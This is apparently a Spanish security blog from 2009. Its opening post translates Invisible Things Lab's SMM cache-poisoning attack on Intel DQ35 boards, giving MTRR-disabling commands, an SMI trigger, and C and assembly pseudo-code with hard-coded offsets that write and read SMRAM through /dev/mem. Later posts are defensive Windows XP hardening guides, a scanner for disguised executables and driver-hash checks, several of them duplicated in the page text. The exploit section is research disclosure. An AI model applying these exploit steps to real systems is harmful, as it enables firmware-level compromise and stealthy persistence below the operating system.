Interesante artículo de Invisible Things Labs donde muestran cómo hackear la memoria SMM, la zona de memoria más privilegiada del firmware de algunas placas base modernas de Intel.
A continuación, una traducción que he realizado de la parte más relevante:
3. Detalles del ataque
Ahora describiremos como realizar el envenenamiento de caché para lograr acceso a la SMRAM. Asumimos que el atacante tiene acceso a cierta plataforma con registros MSR. En la práctica esto es equivalente a que el atacante tenga privilegios de administrador en el sistema objetivo, y en otros sistemas, como Windows, la habilidad de cargar y ejecutar código arbitrario en el kernel.
- 1. El atacante primero tiene que modificar los registros MTRR del sistema para marcar la región de la memoria del sistema donde la SMRAM está en modo cacheable de tipo Write-Back (WB).
- 2. Ahora, el atacante realiza accesos de escritura a las direcciones físicas correspondientes a las ubicaciones donde se encuentra la SMRAM. Estos accesos serán cacheados debido a que hemos marcado este rango de direcciones físicas como cacheable WB. Habitualmente, las direcciones físicas que corresponden con la ubicación de la SMRAM pueden ser no cacheables y cualquier acceso de escritura a estas direcciones puede ser abortado por el controlador de memoria (chipset).
- 3. Por último, el atacante necesita lanzar un SMI que transferirá la ejecución al código SMM. La CPU comenzará a ejecutar el código SMM, pero primero seguirá las instrucciones de la caché antes de leerlas de la DRAM. Debido a que el atacante en el punto 2 realizó accesos de escritura en las ubicaciones de la SMRAM, la CPU procesará los datos de la caché proporcionados por el atacante y los ejecutará como un manipulador SMI, con todos los privilegios de la SMM.
El escenario anterior permite una sobreescritura arbitraria en la memoria SMM (y una posterior ejecución de código de estos datos arbitrarios escritos en la SMM. Se puede pensar en un ataque similar que pueda permitir la lectura de la memoria SMM. Esto es especialmente útil para poner en práctica una explotación, donde el atacante primero debería obtener los offsets específicos del firmware para generar un código fiable que ejecute el exploit (lo veremos en el siguiente capítulo). En el caso actual, la secuencia de eventos sería:
- 1. De nuevo, el atacante primero marca a la SMRAM en modo cacheable WB manipulando los registros MTRR del sistema.
- 2. Ahora el atacante necesita lanzar un SMI que produzca la ejecución del manipulador original. Esto también tendrá un efecto colateral en la mayoría de las instrucciones que se cacheen.
- 3. Por último, el atacante debería leer la caché, preferiblemente utilizando una instrucción no invasiva como movnti, que no contamine la caché con datos nuevos.
4. La explotación puesta en práctica
En sistemas Linux, el usuario root puede modificar los MTRRs mediante el pseudo-archivo /proc/mtrr. Si asumimos que tu sistema tiene una placa base DQ35 de Intel con 2GB de RAM es posible que el "mapa de caché" de tu memoria sea parecido a esto:
[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 ( 0MB), size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=2MB: uncachable, count=1
Aquí vemos que la primera entrada (reg00) está marcando a toda la memoria como cacheable Write-Back. Después vemos unas cuantas regiones de memoria "excepcionales" marcadas como no cacheables. Una de estas regiones (reg03) corresponde con la memoria donde está ubicado el segmento TSEG de la SMM.
Tan simple como eliminar esta entrada MTRR del TSEG con el siguiente comando:
echo "disable=3" > /proc/mtrr
En otros sistemas puede que no tengamos la entrada cacheable WB por defecto (como hemos visto antes) y entonces tendríamos que modificar manualmente la entrada MTRR del TSEG para indicar el tipo de cacheo como Write-Back (crucial para el ataque).
En sistemas Windows podemos modificar los MTRRs utilizando las instrucciones WRMSR estándar.
Una vez marcada la memoria TSEG como cacheable WB, tan simple como hacer esto:
*(ptr) = datos_perversos;
outb 0x00, 0xb2 // lanza el SMI
Donde ptr, por ejemplo, puede ser un puntero a una dirección virtual mapeada a la dirección física dentro del segmento TSEG. Una forma sencilla de conseguir esto es utilizar el dispositivo /dev/mem en Linux o el objeto \Device\PhysicalMemory de Windows.
¡Y ya está!
Ahora, cuando se genera el SMI (en sistemas Intel puede realizarse fácilmente con sólo una instrucción como vimos antes), y si se ejecutan las instrucciones de las direcciones físicas que hemos puesto en "datos_perversos", la CPU procesará estos datos perversos de la caché y los ejecutará en vez de ejecutar las instrucciones originales SMM de la DRAM. Es necesario decir que podemos estar seguros que la CPU siempre ejecutará nuestras instrucciones sobreescribiendo el punto de entrada del manipulador SMI.
En los sistemas DQ35 en particular, uno puede ver que el manipulador SMI ejecuta el siguiente código (localizado en TSEG) poco después del punto de entrada de SMM:
mov $0x7e5fcfe0,%rsp
mov 0x8(%rsp),%rax
mov (%rsp),%ecx
callq *(%rax)
Después, la ejecución de código en el SMM puede conseguirse con el siguiente pseudo-código (asumiendo que tenemos también ubicado un buffer cuya dirección física está en la variable myaddr):
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI#
El exploit tiene varias constantes hard-coded que necesitan ajustarse para sistemas distintos al DQ35 con 2GB de RAM. Además, para simplificar utilizamos un módulo kernel dedicado para ubicar el buffer del shellcode y así calcular su dirección física. El shellcode del exploit no hace nada espectacular, sólo incrementa un contador que se puede ver mediante /proc/mymem, que es un pseudo-archivo creado por el módulo, y por tanto, este exploit es inofensivo (también tiene la prudencia de ejecutar el código SMM original).
Como vemos, la explotación se puede conseguir incluso desde el modo usuario (escalando desde el anillo 3 hasta el SMM), asumiendo que el sistema operativo permita operaciones de E/S y manipulación del MTRR desde el modo usuario. La mayoría de los sistemas Linux permiten al usuario root realizar lo mencionado mientras que en Windows no. Esto también quiere decir que el ataque anterior pueder ser utilizado de una forma potencial utilizando escalada de privilegios desde el entorno usuario hasta el kernel en sistemas que tienen especial cuidado en proteger el kernel, por ej., deshabilitando el soporte LKM y bloqueando escrituras en dispositivos /dev/(k)mem. No hemos intentado nuestro ataque en sistemas de este tipo.
Para realizar el ataque mencionado es necesario conocer los "offsets" específicos del SMM que utiliza el manipulador SMI.
Hay más de una forma de resolver este problema. Una forma elegante es utilizar el mismo ataque de cacheo para leer, en vez de escribir, la memoria SMM.
El siguiente pseudo-código es un exploit que puede utilizarse para leer código SMM:
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
"push %rdi\n"
"mov $0x40000, %ecx\n"
"mov $outbuf, %rdi\n"
"mov ptr, %rsi\n"
"lp:\n"
"mov (%rsi), %eax\n"
"movnti %eax, (%rdi)\n"
"add $4, %rdi\n"
"add $4, %rsi\n"
"loop lp\n"
"pop %rdi\n"
"pop %rsi\n"
"mfence");
write(1, outbuf, SIZE); // stdout
El truco es la instrucción movnti que puede utilizarse para leer datos desde la caché (datos dejados por el manipulador SMI en el modo de cacheo WB) sin contaminar la caché con datos nuevos. De esta forma no elimina datos interesantes de la caché antes de que puedan ser leidos. Con este método sólo podemos leer aquellas direcciones que haya ejecutado el manipulador SMI.
domingo, 22 de marzo de 2009
domingo, 15 de marzo de 2009
Contra los rootkits: SpyDLLRemover
Nueva utilidad de Nagareshwar Talekar para descubrir rootkits basados en archivos DLL. Analiza los procesos activos y saca sus entresijos. Lo he probado en Windows XP SP3 y he visto cosas muy interesantes.
SpyDLLRemover es una utilidad para detectar y eliminar eficientemente spywares del sistema. Utiliza varias técnicas como la implementación directa de llamada al sistema, detección de manipuladores de procesos CSRSS, método PIDB, etc. para detectar rootkits de entorno de usuario.
El objetivo principal de esta herramienta es ayudar a eliminar DLLs maliciosas rápida y fácilmente mostrando todas las DLLs dentro de los procesos. Para ello se extraen varios niveles de amenaza utilizando técnicas de inyección de DLL empleando una implementación a bajo nivel muy efectiva contra los rootkits de entorno de usuario.
Más info:
http://nagareshwar.securityxploded.com/2009/03/16/spydllremover-detect-delete-spywares-from-the-system/
http://rootkitanalytics.com/userland/spy-dll-remover.php
SpyDLLRemover es una utilidad para detectar y eliminar eficientemente spywares del sistema. Utiliza varias técnicas como la implementación directa de llamada al sistema, detección de manipuladores de procesos CSRSS, método PIDB, etc. para detectar rootkits de entorno de usuario.
El objetivo principal de esta herramienta es ayudar a eliminar DLLs maliciosas rápida y fácilmente mostrando todas las DLLs dentro de los procesos. Para ello se extraen varios niveles de amenaza utilizando técnicas de inyección de DLL empleando una implementación a bajo nivel muy efectiva contra los rootkits de entorno de usuario.
Más info:
http://nagareshwar.securityxploded.com/2009/03/16/spydllremover-detect-delete-spywares-from-the-system/
http://rootkitanalytics.com/userland/spy-dll-remover.php
miércoles, 11 de febrero de 2009
Windows XP más seguro
Si inicias Windows XP con una cuenta que tiene privilegios de administrador local o con la misma cuenta de administrador (cosa corriente), tiene sus ventajas porque puedes hacer lo que quieras sin restricción alguna, y también tiene sus inconvenientes: cualquier cosa maliciosa que venga de fuera puede aprovechar perfectamente estos privilegios y también puede hacer lo que quiera sin restricción alguna.
Estas cosas maliciosas, o las cosas que hacen cosas sin que te enteres, como utilizar los recursos de tu ordenador para el enriquecimiento de otros, o simplemente robarte credenciales bancarias para robar el sudor de tu frente, actualmente han crecido tanto en número como en sofisticación.
No existe software que te protega 100%, y tal y como está la cosa actualmente, cuanto más promíscuo seas en la red, más posibilidades tienes de llevarte un premio.
A la vez, el negocio de la seguridad informática es una carrera de tiempos dentro de un toroide cerrado donde tu ordenador está en medio pagando tributos, primero a uno, luego a otro, luego a otro y así sucesivamente. No estás más seguro por tener más software de seguridad, estás más seguro sabiendo lo que tienes y unas buenas contraseñas.
Para tener un buen nivel de seguridad en Windows XP, sólo necesitas cuatro cosas:
El punto 1 y 2 es una rutina, el 4 depende de tí y ahora hablemos del punto 3.
En el caso de Windows XP, esto se realiza con la Administración de equipos ubicada en las Herramientas Administrativas del Panel de Control, o utilizando el comando compmgmt.msc. Dentro de Administración de equipos, en el apartado de Usuarios locales y grupos aparecen dos carpetas: Usuarios y Grupos.
Dentro de la carpeta Usuarios haz doble click en tu usuario y aparece la ventana con sus opciones, ve a la pestaña Miembro de, agrega el grupo Usuarios y elimina cualquier otro grupo (incluido el grupo de Administradores).
Aparte de esto, no hace falta recordar que tanto nuestro usuario como el usuario Administrador deben tener contraseñas fuertes. Para asignar una contraseña a un usuario basta con clicar en él con el botón derecho y elegir Establecer contraseña...
De esta forma, hagas lo que hagas con tu usuario, éste no podrá escribir o modificar archivos de zonas importantes de Windows y por tanto tampoco ningún código malicioso que puedas "adquirir", sea por Internet, pendrive o disquete de 5 1/4.
Ahora, si necesitas instalar algún software que requiera privilegios elevados, realizar alguna tarea administrativa o cualquier otra cosa que necesite privilegios de administración puedes utilizar el botón derecho del ratón y elegir Ejecutar como dando las credenciales del administrador local, o también puedes utilizar la versión de línea de comando "runas".
Por ejemplo, si necesitas comprobar e instalar actualizaciones de Windows XP con Windows Update en la versión línea de comandos, puedes crear en escritorio el archivo WindowsUpdate.BAT con estas líneas:
@echo off
cd %systemroot%\system32
runas /env /user:administrador wupdmgr.exe
Lo abres, te pide la contraseña del administrador local, se la das y Windows Update empezará a realizar su trabajo, mientras el usuario actual sigue restringido y protegido.
Estas cosas maliciosas, o las cosas que hacen cosas sin que te enteres, como utilizar los recursos de tu ordenador para el enriquecimiento de otros, o simplemente robarte credenciales bancarias para robar el sudor de tu frente, actualmente han crecido tanto en número como en sofisticación.
No existe software que te protega 100%, y tal y como está la cosa actualmente, cuanto más promíscuo seas en la red, más posibilidades tienes de llevarte un premio.
A la vez, el negocio de la seguridad informática es una carrera de tiempos dentro de un toroide cerrado donde tu ordenador está en medio pagando tributos, primero a uno, luego a otro, luego a otro y así sucesivamente. No estás más seguro por tener más software de seguridad, estás más seguro sabiendo lo que tienes y unas buenas contraseñas.
Para tener un buen nivel de seguridad en Windows XP, sólo necesitas cuatro cosas:
- Windows XP actualizado todos los días con Windows Update.
- Antivirus actualizado todos los días.
- Utilizar normalmente una cuenta de usuario que sólo pertenezca al grupo "Usuarios".
- Sentido común.
El punto 1 y 2 es una rutina, el 4 depende de tí y ahora hablemos del punto 3.
En el caso de Windows XP, esto se realiza con la Administración de equipos ubicada en las Herramientas Administrativas del Panel de Control, o utilizando el comando compmgmt.msc. Dentro de Administración de equipos, en el apartado de Usuarios locales y grupos aparecen dos carpetas: Usuarios y Grupos.
Dentro de la carpeta Usuarios haz doble click en tu usuario y aparece la ventana con sus opciones, ve a la pestaña Miembro de, agrega el grupo Usuarios y elimina cualquier otro grupo (incluido el grupo de Administradores).
Aparte de esto, no hace falta recordar que tanto nuestro usuario como el usuario Administrador deben tener contraseñas fuertes. Para asignar una contraseña a un usuario basta con clicar en él con el botón derecho y elegir Establecer contraseña...
De esta forma, hagas lo que hagas con tu usuario, éste no podrá escribir o modificar archivos de zonas importantes de Windows y por tanto tampoco ningún código malicioso que puedas "adquirir", sea por Internet, pendrive o disquete de 5 1/4.
Ahora, si necesitas instalar algún software que requiera privilegios elevados, realizar alguna tarea administrativa o cualquier otra cosa que necesite privilegios de administración puedes utilizar el botón derecho del ratón y elegir Ejecutar como dando las credenciales del administrador local, o también puedes utilizar la versión de línea de comando "runas".
Por ejemplo, si necesitas comprobar e instalar actualizaciones de Windows XP con Windows Update en la versión línea de comandos, puedes crear en escritorio el archivo WindowsUpdate.BAT con estas líneas:
@echo off
cd %systemroot%\system32
runas /env /user:administrador wupdmgr.exe
Lo abres, te pide la contraseña del administrador local, se la das y Windows Update empezará a realizar su trabajo, mientras el usuario actual sigue restringido y protegido.
domingo, 1 de febrero de 2009
Detecta y elimina malware en Windows XP
El malware puede tomar cualquier forma dentro del sistema operativo, y conociendo al detalle al sistema operativo, es más sencillo detectar al malware para aislarlo y eliminarlo con herramientas sencillas.
El año pasado escribí una guía de 26 páginas acerca de cómo identificar malware en un Windows XP.
En esta guía verás como utilizar varias herramientas de administración de Windows y, entre otros métodos, detalla el funcionamiento de varias herramientas de Sysinternals como Process Explorer y Autoruns para sacarle la información a Windows y poder interpretarla correctamente para detectar malware. Actualmente, esta guía se encuentra en formato PDF en este enlace.
El año pasado escribí una guía de 26 páginas acerca de cómo identificar malware en un Windows XP.
En esta guía verás como utilizar varias herramientas de administración de Windows y, entre otros métodos, detalla el funcionamiento de varias herramientas de Sysinternals como Process Explorer y Autoruns para sacarle la información a Windows y poder interpretarla correctamente para detectar malware. Actualmente, esta guía se encuentra en formato PDF en este enlace.
Etiquetas:
drivers,
malware,
servicios,
virus,
windows xp
sábado, 31 de enero de 2009
Windows XP más rápido = servicios necesarios
Windows XP, como cualquier otro sistema operativo viene por defecto con una serie de servicios que se inician automaticamente cuando el ordenador arranca. Dependiendo del uso que demos al ordenador utilizaremos algunos y otros no.
En este post, explicaré algunos servicios de Windows XP, comprobaremos si los necesitamos o no, y los que no necesitemos los desactivaremos. El resultado será el ahorro de recursos y el incremento de la rapidez de Windows XP, tanto en arranque como en el uso normal.
Lo primero que haremos es abrir el gestor de servicios y ver lo que hay. Para ello vamos a inicio, ejecutar y ponemos: services.msc, pulsamos ENTER y aparecerán los servicios. Para verlos mejor, maximizamos la ventana y pinchamos abajo en la pestaña "Estándar".
La columna interesante es Tipo de inicio. Si ordenamos los servicios por Tipo de inicio los veremos mejor. Hay tres tipos de inicio:
Podemos cambiar el tipo de inicio de un servicio dado, además de iniciarlo o detenerlo haciendo doble click izquierdo en él e indicando lo que queremos.
En este post, explicaré algunos servicios de Windows XP, comprobaremos si los necesitamos o no, y los que no necesitemos los desactivaremos. El resultado será el ahorro de recursos y el incremento de la rapidez de Windows XP, tanto en arranque como en el uso normal.
Lo primero que haremos es abrir el gestor de servicios y ver lo que hay. Para ello vamos a inicio, ejecutar y ponemos: services.msc, pulsamos ENTER y aparecerán los servicios. Para verlos mejor, maximizamos la ventana y pinchamos abajo en la pestaña "Estándar".
La columna interesante es Tipo de inicio. Si ordenamos los servicios por Tipo de inicio los veremos mejor. Hay tres tipos de inicio:
- Automático: siempre inicia el servicio en el arranque de Windows.
- Manual: se inicia a demanda. Normalmente lo inicia otro servicio ya iniciado, como por ejemplo alguno que ya se inicie de forma automática.
- Deshabilitado: nunca se inicia.
Podemos cambiar el tipo de inicio de un servicio dado, además de iniciarlo o detenerlo haciendo doble click izquierdo en él e indicando lo que queremos.
A continuación voy a explicar algunos de los servicios de Windows XP SP3 Profesional que podemos tocar sin problemas, y así averiguamos si los necesitamos o no:
DDE de red: otro servicio para dar seguridad al transporte de datos en determinadas aplicaciones (nunca he visto una aplicación que utilice este servicio). No es necesario para compartir carpetas en una red local, por tanto se puede desactivar.
DSDM de DDE de red: más de lo mismo que el servicio anterior.
Enrutamiento y acceso remoto: desactívalo. Un router es un router, y un Windows es un Windows.
Escritorio remoto compartido de NetMeeting: esto es una cosa parecida a la asistencia remota, pero utilizando NetMeeting. Sino te suena, desactívalo.
Instantáneas de volumen: si utilizas el sistema de copia de seguridad propio de Windows, puede ser útil, sino, desactívalo.
Machine Debug Manager: si te dedicas a analizar volcados de memoria cuando algo revienta, es hasta necesario. Si lo anterior te suena a chino, desactívalo.
Mensajero: esto tiene sentido en la oficina cuando el administrador de sistemas necesita alertar de algo a los usuarios. A nivel doméstico no tiene sentido.
MS Software Shadow Copy Provider: esto es lo mismo que el servicio de Instantáneas de volumen.
Programador de tareas: si necesitas hacer algo de forma automática de vez en cuando, tiene sentido, sino, desactívalo.
Publicación en World Wide Web: igual que el Administrador de IIS.
Servicio de alerta: igual que el servicio Mensajero, pero en vez de que la alerta la realice el administrador de sistemas la realiza alguna aplicación en respuesta a algún evento. En entorno doméstico no tiene sentido.
Servicio de Index Server: dice que mejora la velocidad de las búsquedas de archivos en Windows, pero yo no he visto ninguna mejora significativa. Lo puedes desactivar perfectamente.
Servicio de restauración de sistema: yo lo he probado en varios contextos, y es mejor tener una copia de seguridad de nuestros archivos que no pueden perderse fuera del ordenador, por ejemplo en un disco duro externo. Además, es un nicho de virus. Mejor desactivado.
Servicio de uso compartido de red del Reproductor de Windows Media: si utilizas Windows Media Player junto con aparatos reproductores externos, puede servir para que compartan datos entre si (esto es como el itunes y el ipod pero en plan Windows), sino, desactívalo.
Servicio del número de serie de medio portátil: íntimamente ligado al servicio anterior.
Servicios de Terminal Server: si quieres conectar con el escritorio de otro ordenador en red, bien, sino, desactívalo.
Servicios IPSEC: este servicio de cifrado de red tiene sentido en comunicaciones cifradas entre servidores de archivos confidenciales. En entornos domésticos no tiene sentido.
Sistema de alimentación ininterrumpida: si tienes un SAI conectado al ordenador y quieres mirar su estado con el mismo Windows, bien. Si tu SAI ya dispone de software para esto, o no tienes un SAI, desactívalo.
Tarjeta inteligente: esto se utiliza en caso de que algún programa necesite leer tarjetas de identificación, para temas de seguridad. Sino tienes alguna tarjeta de estas, puedes desactivarlo.
Telnet: si te gusta la línea de comandos con conexión remota y la inseguridad, pues vale, sino desactívalo.
Temas: Windows más bonito. Si lo desactivas, se queda con los gráficos en plan Windows 95, y ten por seguro que Windows irá más rápido.
Como dije, el resto de servicios suelen ser más necesarios y están más vinculados con el funcionamiento de Windows, aunque puedes probar a desactivar alguno a ver que pasa.
Si dejamos activos sólo los servicios que utilizamos y deshabilitamos los que no utilizamos, tendremos una mejora significativa en rapidez, que si por contra dejamos los servicios configurados por defecto.
Acceso a dispositivo de interfaz humana: Si tienes un teclado con botones multimedia tipo volúmen, enviar correo, hacer la colada, etc., déjalo en automático. Si tienes un teclado convencional y no utilizas este tipo de controles multimedia, lo puedes detener y deshabilitar.
Actualizaciones automáticas: es recomendable que esté en automático sino quieres que tu Windows se convierta en un colador.
Administrador de IIS: si tienes un servidor Web, o ftp, o alguna aplicación que utilice IIS (Internet Information Server) déjalo en automático. Si utilizas otro servidor web como Apache o Tomcat, lo puedes desactivar. Si lo anterior te suena a chino, desactívalo.
Administrador de sesión de Ayuda de escritorio remoto: esto sirve para que un amigo tuyo se conecte a tu ordenador y te ayude con algún problema. Desactívalo sino necesitas ayuda on-line.
Adquisición de imágenes de Windows (WIA): si tienes un escáner o cámara conectado al ordenador, déjalo en automático, sino, lo puedes desactivar.
Agente de Protección de acceso a redes: el servicio NAP, una capa nueva extra de seguridad que Microsoft sacó ya con Windows Vista y Windows 2008. Tiene sentido en una red local de ordenadores donde queremos más seguridad. En entornos corporativos donde la seguridad es un factor crítico entre ordenadores y servidores no estaría mal. En el caso doméstico no le veo utilidad y puede desactivarse.
Ayuda y soporte técnico: por la utilidad que he visto en este servicio, es mejor desactivarlo.
Configuración inalámbrica rápida: si tu ordenador tiene WIFI, déjalo activado, sino, desactívalo.
Actualizaciones automáticas: es recomendable que esté en automático sino quieres que tu Windows se convierta en un colador.
Administrador de IIS: si tienes un servidor Web, o ftp, o alguna aplicación que utilice IIS (Internet Information Server) déjalo en automático. Si utilizas otro servidor web como Apache o Tomcat, lo puedes desactivar. Si lo anterior te suena a chino, desactívalo.
Administrador de sesión de Ayuda de escritorio remoto: esto sirve para que un amigo tuyo se conecte a tu ordenador y te ayude con algún problema. Desactívalo sino necesitas ayuda on-line.
Adquisición de imágenes de Windows (WIA): si tienes un escáner o cámara conectado al ordenador, déjalo en automático, sino, lo puedes desactivar.
Agente de Protección de acceso a redes: el servicio NAP, una capa nueva extra de seguridad que Microsoft sacó ya con Windows Vista y Windows 2008. Tiene sentido en una red local de ordenadores donde queremos más seguridad. En entornos corporativos donde la seguridad es un factor crítico entre ordenadores y servidores no estaría mal. En el caso doméstico no le veo utilidad y puede desactivarse.
Ayuda y soporte técnico: por la utilidad que he visto en este servicio, es mejor desactivarlo.
Configuración inalámbrica rápida: si tu ordenador tiene WIFI, déjalo activado, sino, desactívalo.
DDE de red: otro servicio para dar seguridad al transporte de datos en determinadas aplicaciones (nunca he visto una aplicación que utilice este servicio). No es necesario para compartir carpetas en una red local, por tanto se puede desactivar.
DSDM de DDE de red: más de lo mismo que el servicio anterior.
Enrutamiento y acceso remoto: desactívalo. Un router es un router, y un Windows es un Windows.
Escritorio remoto compartido de NetMeeting: esto es una cosa parecida a la asistencia remota, pero utilizando NetMeeting. Sino te suena, desactívalo.
Instantáneas de volumen: si utilizas el sistema de copia de seguridad propio de Windows, puede ser útil, sino, desactívalo.
Machine Debug Manager: si te dedicas a analizar volcados de memoria cuando algo revienta, es hasta necesario. Si lo anterior te suena a chino, desactívalo.
Mensajero: esto tiene sentido en la oficina cuando el administrador de sistemas necesita alertar de algo a los usuarios. A nivel doméstico no tiene sentido.
MS Software Shadow Copy Provider: esto es lo mismo que el servicio de Instantáneas de volumen.
Programador de tareas: si necesitas hacer algo de forma automática de vez en cuando, tiene sentido, sino, desactívalo.
Publicación en World Wide Web: igual que el Administrador de IIS.
Servicio de alerta: igual que el servicio Mensajero, pero en vez de que la alerta la realice el administrador de sistemas la realiza alguna aplicación en respuesta a algún evento. En entorno doméstico no tiene sentido.
Servicio de Index Server: dice que mejora la velocidad de las búsquedas de archivos en Windows, pero yo no he visto ninguna mejora significativa. Lo puedes desactivar perfectamente.
Servicio de restauración de sistema: yo lo he probado en varios contextos, y es mejor tener una copia de seguridad de nuestros archivos que no pueden perderse fuera del ordenador, por ejemplo en un disco duro externo. Además, es un nicho de virus. Mejor desactivado.
Servicio de uso compartido de red del Reproductor de Windows Media: si utilizas Windows Media Player junto con aparatos reproductores externos, puede servir para que compartan datos entre si (esto es como el itunes y el ipod pero en plan Windows), sino, desactívalo.
Servicio del número de serie de medio portátil: íntimamente ligado al servicio anterior.
Servicios de Terminal Server: si quieres conectar con el escritorio de otro ordenador en red, bien, sino, desactívalo.
Servicios IPSEC: este servicio de cifrado de red tiene sentido en comunicaciones cifradas entre servidores de archivos confidenciales. En entornos domésticos no tiene sentido.
Sistema de alimentación ininterrumpida: si tienes un SAI conectado al ordenador y quieres mirar su estado con el mismo Windows, bien. Si tu SAI ya dispone de software para esto, o no tienes un SAI, desactívalo.
Tarjeta inteligente: esto se utiliza en caso de que algún programa necesite leer tarjetas de identificación, para temas de seguridad. Sino tienes alguna tarjeta de estas, puedes desactivarlo.
Telnet: si te gusta la línea de comandos con conexión remota y la inseguridad, pues vale, sino desactívalo.
Temas: Windows más bonito. Si lo desactivas, se queda con los gráficos en plan Windows 95, y ten por seguro que Windows irá más rápido.
Como dije, el resto de servicios suelen ser más necesarios y están más vinculados con el funcionamiento de Windows, aunque puedes probar a desactivar alguno a ver que pasa.
Si dejamos activos sólo los servicios que utilizamos y deshabilitamos los que no utilizamos, tendremos una mejora significativa en rapidez, que si por contra dejamos los servicios configurados por defecto.
Etiquetas:
rapidez,
rendimiento,
servicios,
windows xp
miércoles, 28 de enero de 2009
Ejecutable ¿o no?, esa es la cuestión
Que un archivo comience con los bytes "4d5a" (hexadecimal), no es casualidad. Se trata de un archivo ejecutable de cualquier sistema operativo de Microsoft.
Concretamente estamos hablando del comienzo de la cabecera PE (Portable Executable), que identifica a los archivos ejecutables de MS-DOS también soportados por compatibilidad en las versiones de los ejecutables posteriores de Windows. Disponemos de más información acerca de la estructura de la cabecera PE aquí y aquí.
Las extensiones de los nombres de los archivos ejecutables de Windows son muchas, las más conocidas son .EXE, (el de toda la vida), .DLL (librerías dinámicas) y los .SYS (Drivers). Menos conocidas son .CPL y DPL. En cualquier caso, todos estos tipos de archivos comienzan con los bytes mencionados y tienen la capacidad de ejecutar código en el sistema, para bien y para mal.
Entrando en el contexto de la seguridad, lo normal es que un archivo ejecutable tenga una extensión como las que hemos visto, como EXE, y lo extraño es encontrar un archivo que por su nombre/extensión no parezca ejecutable y su contenido sí lo sea.
Muchos virus utilizan archivos con extensión .TMP (temporal) para alojarse en ellos y "despistar" al observador. Ahora, su contenido comienza con "4d5a", y digo .TMP como si se trata de cualquier otra extensión que no parezca ser un ejecutable, o simplemente que no tenga extensión. Si no nos percatamos de este detalle, el .TMP de turno puede ser abierto por cualquier otro proceso y ejecutarlo... y en ese caso tenemos papeletas para el premio.
Para saber si existe en nuestro sistema algún archivo que por su extensión no denote "ejecución", he preparado un script en perl. Este script trabaja sobre archivos que NO tengan las extensiones típicas de los ejecutables (exe, dll, sys, drv, ocx, com, cpl, dpl) para comprobar si el contenido comienza con "4d5a". Si el script detecta estos bytes al inicio del archivo, indica la ruta y el nombre del archivo en cuestión. En estos casos, habría que buscar información de la extensión de este archivo y comprobar de qué se trata.
Este script da la opción de realizar esta búsqueda en toda la unidad C: incluyendo todos sus subdirectorios (tarda un buen rato), y también da la opción de realizar esta búsqueda en el directorio actual. En ambos casos, el resultado lo dejará en el archivo resultados.txt del directorio donde se ejecute el script.
He pasado este script en tres ordenadores con Windows XP SP3, y no podeis imaginar la cantidad de archivos que existen, que no parecen ejecutables, y sí lo son. En próximos posts intentaré dar más información acerca de este tipo de extensiones como ax, flt, mui, wpc, etc.
Concretamente estamos hablando del comienzo de la cabecera PE (Portable Executable), que identifica a los archivos ejecutables de MS-DOS también soportados por compatibilidad en las versiones de los ejecutables posteriores de Windows. Disponemos de más información acerca de la estructura de la cabecera PE aquí y aquí.
Las extensiones de los nombres de los archivos ejecutables de Windows son muchas, las más conocidas son .EXE, (el de toda la vida), .DLL (librerías dinámicas) y los .SYS (Drivers). Menos conocidas son .CPL y DPL. En cualquier caso, todos estos tipos de archivos comienzan con los bytes mencionados y tienen la capacidad de ejecutar código en el sistema, para bien y para mal.
Entrando en el contexto de la seguridad, lo normal es que un archivo ejecutable tenga una extensión como las que hemos visto, como EXE, y lo extraño es encontrar un archivo que por su nombre/extensión no parezca ejecutable y su contenido sí lo sea.
Muchos virus utilizan archivos con extensión .TMP (temporal) para alojarse en ellos y "despistar" al observador. Ahora, su contenido comienza con "4d5a", y digo .TMP como si se trata de cualquier otra extensión que no parezca ser un ejecutable, o simplemente que no tenga extensión. Si no nos percatamos de este detalle, el .TMP de turno puede ser abierto por cualquier otro proceso y ejecutarlo... y en ese caso tenemos papeletas para el premio.
Para saber si existe en nuestro sistema algún archivo que por su extensión no denote "ejecución", he preparado un script en perl. Este script trabaja sobre archivos que NO tengan las extensiones típicas de los ejecutables (exe, dll, sys, drv, ocx, com, cpl, dpl) para comprobar si el contenido comienza con "4d5a". Si el script detecta estos bytes al inicio del archivo, indica la ruta y el nombre del archivo en cuestión. En estos casos, habría que buscar información de la extensión de este archivo y comprobar de qué se trata.
Este script da la opción de realizar esta búsqueda en toda la unidad C: incluyendo todos sus subdirectorios (tarda un buen rato), y también da la opción de realizar esta búsqueda en el directorio actual. En ambos casos, el resultado lo dejará en el archivo resultados.txt del directorio donde se ejecute el script.
He pasado este script en tres ordenadores con Windows XP SP3, y no podeis imaginar la cantidad de archivos que existen, que no parecen ejecutables, y sí lo son. En próximos posts intentaré dar más información acerca de este tipo de extensiones como ax, flt, mui, wpc, etc.
El script está disponible en este enlace.
martes, 27 de enero de 2009
Protege los drivers de tu Windows, y 2
El script del post anterior sólo trabaja con MD5: crea MD5 de los drivers actuales a un archivo (drivers.md5) y también puede comprobarlos en un futuro.
Pero le falta una cosa importante: si hay drivers nuevos no los procesa porque toma como referencia el archivo drivers.md5, y en base a su contenido comprueba si existe el driver correspondiente en el sistema, sin realizar un recorrido en éste. Por tanto, sólo procesa los que tiene en drivers.md5 ignorando los nuevos que pudieran existir. Esta funcionalidad es crítica y necesaria puesto que necesitamos saber si algún driver ha sido instalado en el sistema desde la última "foto" que le hicimos.
Para ofrecer esta nueva funcionalidad, he ampliado el script dando una opción más que es: Comprobar drivers nuevos. Además, como ahora he utilizado contadores para contar tanto los drivers en drivers.md5 como en el sistema, los resultados en general se han ampliado.
Como los cambios son significativos respecto al script anterior, a éste lo he llamado control-drivers.pl y su versión es la 1.0.
Y para evitar erratas producidas por blogger, el nuevo script se encuentra en este enlace.
